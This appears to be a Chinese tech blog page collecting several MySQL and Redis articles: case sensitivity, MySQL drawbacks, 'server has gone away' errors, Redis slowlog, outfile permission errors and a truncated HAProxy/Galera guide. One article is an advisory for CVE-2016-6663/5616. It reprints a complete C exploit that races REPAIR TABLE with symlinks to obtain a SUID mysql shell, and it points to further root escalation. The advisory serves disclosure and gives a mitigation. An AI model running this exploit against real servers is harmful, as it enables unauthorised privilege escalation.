MYSQL大小写敏感介绍

简介 在MySQL中,数据库对应数据目录中的目录。数据库中的每个表至少对应数据库目录中的一个文件(也可能是多个,取决于存储引擎)。因此,所使用操作系统的大小写敏感性决定了数据库名和表名的大小写敏感性。   在大多数Unix中数据库名和表名对大小写敏感,而在...
继续阅读 »


简介


在MySQL中,数据库对应数据目录中的目录。数据库中的每个表至少对应数据库目录中的一个文件(也可能是多个,取决于存储引擎)。因此,所使用操作系统的大小写敏感性决定了数据库名和表名的大小写敏感性。
 
在大多数Unix中数据库名和表名对大小写敏感,而在Windows中对大小写不敏感。一个显著的例外情况是Mac OS X,它基于Unix但使用默认文件系统类型(HFS+),对大小写不敏感。然而,Mac OS X也支持UFS卷,该卷对大小写敏感,就像Unix一样。
 
变量lower_case_file_system说明是否数据目录所在的文件系统对文件名的大小写敏感。ON说明对文件名的大小写不敏感,OFF表示敏感。
 
例如在Linux下查看:
mysql> show variables like 'lower%';
+------------------------+-------+
| Variable_name | Value |
+------------------------+-------+
| lower_case_file_system | OFF |
| lower_case_table_names | 0 |
+------------------------+-------+
2 rows in set (0.00 sec)
说明Linux系统对大小写敏感,MySQL也默认设置为对大小写敏感, 而Windows则相反。
 


大小写区分规则


Linux下
  • 数据库名与表名是严格区分大小写的;
  • 表的别名是严格区分大小写的;
  • 列名与列的别名在所有的情况下均是忽略大小写的;
  • 变量名也是严格区分大小写的;
 windows下
  • 都不区分大小写
 Mac OS下(非UFS卷):
  • 都不区分大小写
 

参数说明

unix下lower_case_table_names默认值为 0 ;  Windows下默认值是 1 ;Mac OS X下默认值是 2 .
args.png

由大小写敏感转换为不敏感方法

如果原来所建立库及表都是对大小写敏感的,想要转换为对大小写不敏感,主要需要进行如下3步:[list=1]
  • 将数据库数据通过mysqldump导出。
  • 在my.cnf中更改lower_case_tables_name = 1,并重启mysql数据库。
  • 将导出的数据导入mysql数据库。

  •  


    注意事项


    为了避免大小写引发的问题,一种推荐的命名规则是:在定义数据库、表、列的时候全部采用小写字母加下划线的方式,不使用任何大写字母
     
    在任何系统中可以使用lower_case_tables_name=1。使用该选项的不利之处是当使用SHOW TABLES或SHOW DATABASES时,看不出名字原来是用大写还是小写。
     
    请注意在Unix中如果以前lower_case_tables_name = 0将lower_case_tables_name设置为1之前,重启mysqld之前,必须先将旧的数据库名和表名转换为小写。 收起阅读 »

    MYSQL的八大缺陷

    MySQL体积小,速度快,功能丰富,总体拥有成本低。它还是一个开源的关联式数据库管理系统,它的伟大成就说明了一个成功的公司是可以建立在开源之上的。   虽然用过mysql的人都曾对其出现的问题而抓狂,但只要是机器,总避免不了出问题的,更何况是一种每秒...
    继续阅读 »
    MYSQL.png

    MySQL体积小,速度快,功能丰富,总体拥有成本低。它还是一个开源的关联式数据库管理系统,它的伟大成就说明了一个成功的公司是可以建立在开源之上的。
     
    虽然用过mysql的人都曾对其出现的问题而抓狂,但只要是机器,总避免不了出问题的,更何况是一种每秒能保存成千上万行互联网数据,你怎么保证它一点错误都没有呢?
     
    以下列举了8个开源关系型数据库的缺陷,其中不仅限于MySQL,还有是针对关系型数据库的。只有明白了关系型数据库和MySQL,才能更好地避免在使用MySQL中尽量少地遇到一些意外。
     


    1、无法避免的bugs


    任何一个软件包都有bug。但稍微深入了解一下,就会发现和Mysql相关的bugs自成体系。突然你就需要留心,因为NULL并不是以同样的方式出现,外键约束也没有像你想像的那样执行,连主键自动增长也会出错。

    到处都避免不了小问题,而且并不总是可以修复的,这就是为什么一些人保持一个列表。还好MySQL维护着一个非常好的bug报告系统,让我们可以知道我些我们无法想像的事情,知道其他人也在经受同样的磨难。
     


    2、关系表的不灵活性


    关系表具有条理性是好的,但这迫使程序员要编造或把一些数据塞到已经定义好模式的列中。NoSQL之所以越来越受欢迎,其中一个原因就是它为程序员提供了足够的灵活性,以加速数据库的使用。如果一个街道地址需要增加一行,那么,你可以将它很容易地插入到一个NoSQL文档中。如果你想添加一个完整的新的数据块,无论它包含什么内容,文档模型也可以原封不动地接受你的数据,而不必改为它要求的数据格式。

    假设你用整数格式建立了一个全部是邮编的表格。这个表十分高效,执行规则也很好。可是有一次,有人上传了一个使用了连字符的九位数邮编。或者说你得到了一位来自他国的客户的信件,上面写有邮政编码。这时,你会感到一切都乱了。老板要求网站要在几小时内恢复正常工作。然而,你已经没有时间重建数据库。程序员可以做什么?使用黑客手段把这位客户的邮政编码由base 64的数字格式改为base 10格式?或者设置一个使用转义编码的辅助表格,用来说明真正的邮政编码或者其他?危险的黑客无处不在,但你没有时间来搞定它。

    MySQL的关联规则让每个人都诚实和谨慎,但它能强制我们避开易受攻击和欺骗的麻烦。
     


    3、存储引擎混乱


    总体来说,Mysql的存储引擎接口定义还算良好的。MySQL不是实际上的同一的数据库。它是由几个数据库组成,它们的大多数细节都被统一的表面掩盖了。开始时有一个MyISAM引擎,它很快但在前后一致上不能做到完备。有时你需要速度并且可以接受不一致的结果时是很好的。

    当人们需要更多时,具备完整事务支持的Inno DB出现了。但这还不够。现在,它可能有20种存储引擎的选择——这足以使一个数据库管理员疯狂。当然,有时在不同的存储引擎之间切换而不必重写你的SQL是很好的,但是切换后总会带来混乱。这个表格我选择的引擎是MyISAM还是innoDB呢?或者,我决定输出的数据是CSV格式的吗?
     


    4、JOIN联合查询


    曾经,将数据分表保存是计算机科学史上的伟大创新。分开后的表不仅结构简单,使用上也简化了许多。但它却需要使用join语句来进行查询。

    sql通过一系列join构建的复杂查询将开发者推入了困惑与绝望的深渊。而且存储引擎也需要以最优的方式来高效地解析join语句。开发者需要绞尽脑汁编写查询语句,然后数据库对其进行解析。

    这就是很多注重运行速度的开发者放弃数据分表转而使用不规范数据表的原因。不区分数据实体,将所有数据保存到一个大表中——以避免复杂的查询。这样确实很快,并且服务器也不会耗尽内存。

    现在的磁盘空间很廉价。8TB的磁盘已经在售,更大容量的也将上市。我们不再需要为使用join而绞尽脑汁了。
     


    5、分支的混乱


    毋庸置疑,一个可靠的、得到良好支持的MySQL分支,可以带来竞争和选择,但是它也引起困惑和混乱。更糟糕的是,一个称为MariaDB的MySQL分支,由Monty Widenius维护着。他同样也在参与编写MySQL。那么,Maria DB是真正独立的值得我们拥护的吗?或者它是MySQL?我们是否应该坚持使用由创建原始mysql数据库的组织运营的核心代码?或者我们应该加入那些被认为更聪明的,往往很酷的背叛者?

    如何获取关于兼容性的信息?虽然Maria DB和MySQL十分相似,但它们之间也有差异。这就是大家一直都在争论它的原因。在性能方面,在我们查询的范围内,在两个阵营中,也许它们的工作方式相同,但也许不同,也许将来会不同。
     


    6、开发MySQL的动机


    虽然MySQL是一款成功的开源产品,但它仍属于商业中的一款产品,专业开发者需要靠它来获得利益,当然,最直接的利益就是薪资。当大多数用户在持续地享受开源许可证带来的最佳体验时,毫无疑问这家公司还在为赚取足够的钱来维持运营而努力。这导致自由代码在“社区版”和出售给企业的完整产品之间产生了奇怪的分岐。

    我们应该对这款产品付钱吗?这种在社区版开展经营的行为是否公平?企业版中额外的功能是不是一个噱头,以引诱我们不断付费的呢?这至少说明一点,它是另一些需要回答的问题:选用哪个版本?遵照哪种许可证?选用它的哪个功能集?
     


    7、原生JSON支持的缺乏


    通过安装MySQL查看其年龄,然后你就知道需要添加哪些驱动程序使它变得可用。MySQL通常在3306端口上通信,一般输出的是它本身难以理解的格式化数据。如果要让你的代码和它通信,你必须添加另一层代码,将MySQL的语言转换成有用的东西。这些层的代码,以库的形式分发,经常需要人们购买一个商业许可证。

    现代数据存储层通常直接以JSON通信。虽然MySQL和Maria DB现在有能力解析SQL中的JSON部分,但这还远远不够,原生的JSON接口已经被广泛使用于CouchDB、MongoDB,或任何最新的工具中。
     


    8、封闭源和专有模块的兴起


    虽然MySQL是开源的,但除了一些在”开源核心“周边开发的一些较新的、非开源的代码和专有模块。程序员也需要赚钱、需要生活,Oracle需要拿它的辛苦成果来换钱,这是一种现实,也是商业的性质。使用MySQL你也不可以免费得到任何东西。

    要求MySQL始终坚持在一个很高的标准上,这有点不公平,因为开源的成功可能是一个圈套。它开始可以免费,但并不意味着它可以始终免费。如果企业需要更多新的功能,他们就要通过各种方式付费来获取。有时向Oracle付费,比自己来编写代码要便宜得多。有时商业的、不开源的代码是有意义的。

    MySQL虽然作为一个成功的开源系统,但以上这些问题也总不可避免地出现,这就需要我们在它们发生之前有个深刻的认识,才能在今后的应用中避免不必要的麻烦。 收起阅读 »

    MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞

    漏洞发现人:Dawid Golunski 漏洞级别:严重 CVE编号 :CVE-2016-6663 / CVE-2016-5616   漏洞影响:   漏洞描述 : Dawid Golunski在 MySQl, MariaDB 和 Perc...
    继续阅读 »
    mysql.png

    漏洞发现人:Dawid Golunski
    漏洞级别:严重
    CVE编号 :CVE-2016-6663 / CVE-2016-5616
     
    漏洞影响
    Version.png

     
    漏洞描述 :
    Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。
     
    漏洞细节:
    基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:
    attacker@debian:~$ mkdir /tmp/disktable
    attacker@debian:~$ chmod 777 /tmp/disktable/
    attacker@debian:~$ ls -ld /tmp/disktable/
    drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
    可以通过data directory参数指定存储目录为/tmp/disktable/
     
    mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
    执行完成后,查看下目录权限,变为mysql
    attacker@debian:~$ ls -l /tmp/disktable/
    total 0
    -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
    低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。
    mysql> REPAIR TABLE `poctab1`;
    +----------------+--------+----------+----------+
    | Table | Op | Msg_type | Msg_text |
    +----------------+--------+----------+----------+
    | testdb.poctab1 | repair | status | OK |
    +----------------+--------+----------+----------+
    通过查看系统调用,可以看到
    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
    [pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
    [pid 1463] lseek(65, 0, SEEK_CUR) = 0
    [pid 1463] lseek(65, 0, SEEK_END) = 0
    [pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
    [pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
    [pid 1463] lseek(65, 0, SEEK_END) = 0
    [pid 1463] lseek(64, 0, SEEK_END) = 1024
    [pid 1463] close(65) = 0
    [pid 1463] close(66) = 0
    [pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
    [pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
    [pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    [pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
    [pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
    [pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
    [pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
    第一个系统调用是
    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
    我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在
    [pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

    [pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
    系统调用之间,产生了条件竞争漏洞。

    如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限。

    攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将只会保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

    可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
    新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
    attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
    attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
    drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
    通过data directory参数指定存储目录为/tmp/disktable/
    mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
    Query OK, 0 rows affected (0.00 sec)
    再次查看/tmp/disktable/权限
    attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
    total 0
    -rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
    -rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
    我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

    漏洞验证:
    bugqa1.png

    bugqa2.png

     
    POC
    ------------------[ mysql-privesc-race.c ]--------------------
    /*
    MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
    mysql-privesc-race.c (ver. 1.0)
    CVE-2016-6663 / OCVE-2016-5616
    Discovered/Coded by:
    Dawid Golunski
    dawid[at]legalhackers.com
    @dawid_golunski
    http://legalhackers.com
    Compile:
    gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
    Note:
    * On RedHat-based systems you might need to change /tmp to another public directory
    * For testing purposes only. Do no harm.
    Full advisory URL:
    http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
    */
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #define EXP_PATH "/tmp/mysql_privesc_exploit"
    #define EXP_DIRN "mysql_privesc_exploit"
    #define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
    #define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
    #define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
    #define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
    MYSQL *conn; // DB handles
    MYSQL_RES *res;
    MYSQL_ROW row;
    unsigned long cnt;
    void intro() {
    printf(
    "\033[94m\n"
    "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
    "mysql-privesc-race.c (ver. 1.0)\n\n"
    "CVE-2016-6663 / OCVE-2016-5616\n\n"
    "For testing purposes only. Do no harm.\n\n"
    "Discovered/Coded by:\n\n"
    "Dawid Golunski \n"
    "http://legalhackers.com"
    "\033[0m\n\n");
    }
    void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
    }
    void mysql_cmd(char *sql_cmd, int silent) {

    if (!silent) {
    printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
    fprintf(stderr, "%s\n", mysql_error(conn));
    exit(1);
    }
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);
    }
    int main(int argc,char **argv)
    {
    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user = argv[1];
    char *password = argv[2];
    char *db_host = argv[3];
    char *database = argv[4];
    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);
    // Get the params
    if (argc!=5) {
    usage(argv[0]);
    exit(1);
    }
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");
    // Connect to the database server with provided credentials
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
    fprintf(stderr, "%s\n", mysql_error(conn));
    exit(1);
    }
    // Prepare tmp dir
    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );
    // Prepare exploit tables :)
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);
    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd < 0) {
    printf("failed to inotify_init\n");
    return -1;
    }
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
    printf("\n[+] Entering the race loop... Hang in there...\n");
    while ( is_shell_suid != 1 ) {
    cnt++;
    if ( (cnt % 100) == 0 ) {
    printf("->");
    //fflush(stdout);
    }
    /* Create empty file , remove if already exists */
    unlink(MYSQL_TEMP_FILE);
    unlink(MYSQL_TAB_FILE);
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
    /* random num if needed */
    srand ( time(NULL) );
    randomnum = ( rand() % MAX_DELAY );
    // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
    pid = fork();
    if (pid < 0) {
    fprintf(stderr, "Fork failed :(\n");
    }
    /* Child process - executes REPAIR TABLE SQL statement */
    if (pid == 0) {
    usleep(500);
    unlink(MYSQL_TEMP_FILE);
    mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
    // child stops here
    exit(0);
    }
    /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
    if (pid > 0 ) {
    io_notified = 0;
    while (1) {
    int processed = 0;
    ret = read(fd, buf, sizeof(buf));
    if (ret < 0) {
    break;
    }
    while (processed < ret) {
    event = (struct inotify_event *)(buf + processed);
    if (event->mask & IN_CLOSE) {
    if (!strcmp(event->name, "exploit_table.TMD")) {
    //usleep(randomnum);
    // Set the .MYD permissions to suid+exec before they get copied to the .TMD file
    unlink(MYSQL_TAB_FILE);
    myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
    close(myd_handle);
    chmod(MYSQL_TAB_FILE, 04777);
    // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
    unlink(MYSQL_TEMP_FILE);
    symlink(SUID_SHELL, MYSQL_TEMP_FILE);
    io_notified=1;
    }
    }
    processed += sizeof(struct inotify_event);
    }
    if (io_notified) {
    break;
    }
    }
    waitpid(pid, &status, 0);
    }
    // Check if SUID bit was set at the end of this attempt
    if ( lstat(SUID_SHELL, &st) == 0 ) {
    if (st.st_mode & S_ISUID) {
    is_shell_suid = 1;
    }
    }
    }
    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);
    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");
    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    mysql_close(conn);
    return 0;
    }
    视频参考:http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
     
    临时解决办法:
    在my.cnf中添加
    symbolic-links = 0

     


    参考链接:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
    原文链接:http://bobao.360.cn/learning/detail/3152.html 


    收起阅读 »

    MySQL Server has gone away报错分析

    在平时和开发的交流以及在论坛回答问题的或称中会发现这个问题被问及的频率非常高。 程序中报错: MySQL server has gone away 是什么意思? 如何避免? 因此,感觉有必要总结一下发生这个问题的原因。   一、MySQL 服务宕了​ 判断...
    继续阅读 »
    在平时和开发的交流以及在论坛回答问题的或称中会发现这个问题被问及的频率非常高。 程序中报错: MySQL server has gone away 是什么意思? 如何避免? 因此,感觉有必要总结一下发生这个问题的原因。
     


    一、MySQL 服务宕了​


    判断是否属于这个原因的方法很简单,执行以下命令,查看mysql的运行时长
    $ mysql -uroot -p -e "show global status like 'uptime';"
    +---------------+-------+
    | Variable_name | Value |
    +---------------+-------+
    | Uptime | 68928 |
    +---------------+-------+
    1 row in set (0.04 sec)
    或者查看MySQL的报错日志,看看有没有重启的信息
    $ tail /var/log/mysql/error.log
    130101 22:22:30 InnoDB: Initializing buffer pool, size = 256.0M
    130101 22:22:30 InnoDB: Completed initialization of buffer pool
    130101 22:22:30 InnoDB: highest supported file format is Barracuda.
    130101 22:22:30 InnoDB: 1.1.8 started; log sequence number 63444325509
    130101 22:22:30 [Note] Server hostname (bind-address): '127.0.0.1'; port: 3306
    130101 22:22:30 [Note] - '127.0.0.1' resolves to '127.0.0.1';
    130101 22:22:30 [Note] Server socket created on IP: '127.0.0.1'.
    130101 22:22:30 [Note] Event Scheduler: Loaded 0 events
    130101 22:22:30 [Note] /usr/sbin/mysqld: ready for connections.
    Version: '5.5.28-cll' socket: '/var/lib/mysql/mysql.sock' port: 3306 MySQL Community Server (GPL)
    如果uptime数值很大,表明mysql服务运行了很久了。说明最近服务没有重启过。 如果日志没有相关信息,也说明mysql服务最近没有重启过,可以继续检查下面几项内容。
     


    二、连接超时


    如果程序使用的是长连接,则这种情况的可能性会比较大。 即,某个长连接很久没有新的请求发起,达到了server端的timeout,被server强行关闭。 此后再通过这个connection发起查询的时候,就会报错server has gone away
    $ mysql -uroot -p -e "show global variables like '%timeout';"
    +----------------------------+----------+
    | Variable_name | Value |
    +----------------------------+----------+
    | connect_timeout | 30 |
    | delayed_insert_timeout | 300 |
    | innodb_lock_wait_timeout | 50 |
    | innodb_rollback_on_timeout | OFF |
    | interactive_timeout | 28800 |
    | lock_wait_timeout | 31536000 |
    | net_read_timeout | 30 |
    | net_write_timeout | 60 |
    | slave_net_timeout | 3600 |
    | wait_timeout | 28800 |
    +----------------------------+----------+
    mysql> SET SESSION wait_timeout=5;


    # Wait 10 seconds

    mysql> SELECT NOW();
    ERROR 2006 (HY000): MySQL server has gone away
    No connection. Trying to reconnect...
    Connection id: 132361
    Current database: *** NONE ***

    +---------------------+
    | NOW() |
    +---------------------+
    | 2013-01-02 11:31:15 |
    +---------------------+
    1 row in set (0.00 sec)


    三、进程在server端被主动kill


    这种情况和情况2相似,只是发起者是DBA或者其他job。发现有长时间的慢查询执行kill xxx导致。
    $ mysql -uroot -p -e "show global status like 'com_kill'"
    +---------------+-------+
    | Variable_name | Value |
    +---------------+-------+
    | Com_kill | 0 |
    +---------------+-------+


    四、Your SQL statement was too large.


    当查询的结果集超过 max_allowed_packet 也会出现这样的报错。定位方法是打出相关报错的语句。 用select * into outfile 的方式导出到文件,查看文件大小是否超过max_allowed_packet ,如果超过则需要调整参数,或者优化语句。
    mysql> show global variables like 'max_allowed_packet';
    +--------------------+---------+
    | Variable_name | Value |
    +--------------------+---------+
    | max_allowed_packet | 1048576 |
    +--------------------+---------+
    1 row in set (0.00 sec)

    # 修改参数:

    mysql> set global max_allowed_packet=1024*1024*16;
    mysql> show global variables like 'max_allowed_packet';
    +--------------------+----------+
    | Variable_name | Value |
    +--------------------+----------+
    | max_allowed_packet | 16777216 |
    +--------------------+----------+
    1 row in set (0.00 sec)
    英文原文:http://ronaldbradford.com/blog/sqlstatehy000-general-error-2006-mysql-server-has-gone-away-2013-01-02/ 收起阅读 »

    Redis慢日志查询系统slowlog

    一、什么是SlowLog SlowLog是Redis用来记录慢查询执行时间的日志系统。由于SlowLog只保存在内存中,所以SlowLog的效率非常高, 所以你不用担心会影响到你Redis的性能问题。SlowLog是Redis 2.2.12版本之后才引入的...
    继续阅读 »


    一、什么是SlowLog


    SlowLog是Redis用来记录慢查询执行时间的日志系统。由于SlowLog只保存在内存中,所以SlowLog的效率非常高,
    所以你不用担心会影响到你Redis的性能问题。SlowLog是Redis 2.2.12版本之后才引入的一条命令。


    二、SlowLog设置


    SlowLog两种设置方式如下:
     
    1、redis.conf配置文件设置
    在配置文件redis.conf中设置:
    slowlog-log-slower-than 10000
    slowlog-max-len 128
    其中slowlog-log-slower-than表示slowlog的划定界限,只有query执行时间大于slowlog-log-slower-than的才会定义成慢查询,才会被slowlog进行记录。slowlog-log-slower-than设置的单位是微秒,默认是10000微秒,也就是10毫秒。

    slowlog-max-len表示慢查询最大的条数,当slowlog超过设定的最大值后,会将最早的slowlog删除,是个FIFO队列。
     
    2、使用config方式动态设置slowlog
    如下,可以通过config方式动态设置slowlog:
    - 查看当前slowlog-log-slower-than设置
    127.0.0.1:6379> CONFIG GET slowlog-log-slower-than
    1) "slowlog-log-slower-than"
    2) "10000"
    - 设置slowlog-log-slower-than为100ms
    127.0.0.1:6379> CONFIG SET slowlog-log-slower-than 100000
    OK
    - 设置slowlog-max-len为1000
    127.0.0.1:6379> CONFIG SET slowlog-max-len 1000
    OK
    参考:http://redisdoc.com/server/slowlog.html
     


    三、SlowLog 查看


    1、查看slowlog总条数
    127.0.0.1:6379> SLOWLOG LEN 
    (integer) 4

    2、查看slowlog
    127.0.0.1:6379> SLOWLOG GET
    1) 1) (integer) 25
    2) (integer) 1440057769
    3) (integer) 6
    4) 1) "SLOWLOG"
    2) "LEN"
    2) 1) (integer) 24
    2) (integer) 1440057756
    3) (integer) 36
    4) 1) "CONFIG"
    2) "GET"
    3) "slowlog-log-slower-than"
    3) 1) (integer) 23
    2) (integer) 1440057752
    3) (integer) 11
    4) 1) "CONFIG"
    2) "SET"
    3) "slowlog-log-slower-than"
    4) "1"
    4) 1) (integer) 22
    2) (integer) 1440057493
    3) (integer) 27
    4) 1) "CONFIG"
    2) "GET"
    3) "slowlog-log-slower-than"
    5) 1) (integer) 21
    2) (integer) 1440057133
    3) (integer) 7
    4) 1) "monitor"
    如果要获取指定的条数可以使用SLOWLOG GET N命令
    127.0.0.1:6379> SLOWLOG GET 1
    1) 1) (integer) 26 // slowlog唯一编号id
    2) (integer) 1440057815 // 查询的时间戳
    3) (integer) 47 // 查询的耗时(微秒),如表示本条命令查询耗时47微秒
    4) 1) "SLOWLOG" // 查询命令,完整命令为 SLOWLOG GET,slowlog最多保存前面的31个key和128字符
    2) "GET"
    收起阅读 »

    ERROR 1 (HY000): Can't create/write to file '/sql/cluster_user.sql' (Errcode: 13)

    使用outfile方法把查询结果导出: select * from db_main.cluster_user into outfile '/sql/cluster_user.sql'错误如下: ERROR 1 (HY000): Can't create/wri...
    继续阅读 »
    使用outfile方法把查询结果导出:
    select * from db_main.cluster_user into outfile '/sql/cluster_user.sql'
    错误如下:
    ERROR 1 (HY000): Can't create/write to file '/sql/cluster_user.sql' (Errcode: 13)
    看到Can't create/write 我想大家应该一般首先想到的是权限的问题。要不是selinux的问题,要不就是目录mysql没有写权限。
     
    网上说把文件导出到/tmp目录就可以,我试了一下是OK的,这是为什么呢?
     
    因为select into outfile的命令是mysql的daemon来负责写文件操作的,需要对文件具有写的权限,而/sql目录的权限为755,mysql不具有对文件写的权限,所以就报不能create/write了,而/tmp是777的权限,所以也就是为什么能够写入的原因。 收起阅读 »

    安装配置Haproxy代理MySQL Galera集群

    这篇文章,我讲介绍如何为MariaDB Galera 集群添加负载均衡,大致步骤如下: 确认所有Galera节点作为一个单一集群运行(所有节点都是主节点而且相互同步) []安装Haproxy(你可以安装到独立的服务器或者应用服务器)[/][]配置集群监控检测脚...
    继续阅读 »
    这篇文章,我讲介绍如何为MariaDB Galera 集群添加负载均衡,大致步骤如下:
    确认所有Galera节点作为一个单一集群运行(所有节点都是主节点而且相互同步)
      []安装Haproxy(你可以安装到独立的服务器或者应用服务器)[/][]配置集群监控检测脚本,用于检测每个backend server服务器健康[/][]配置Haproxy统计页面[/][]将应用程序指向Haproxy[/]

     
    大致架构图如下:
    galera_haproxy_secaserver.png

     
    配置集群检测脚本
    **本节中所描述的步骤应该是所有数据库节点上执行,除非另有指定。
     
    1、首先,我们需要配置后端健康检查报告。 我们将使用现有的Percona的clustercheck脚本 。 拿到脚本,并把它放在/usr/local/bin目录运行以下命令:
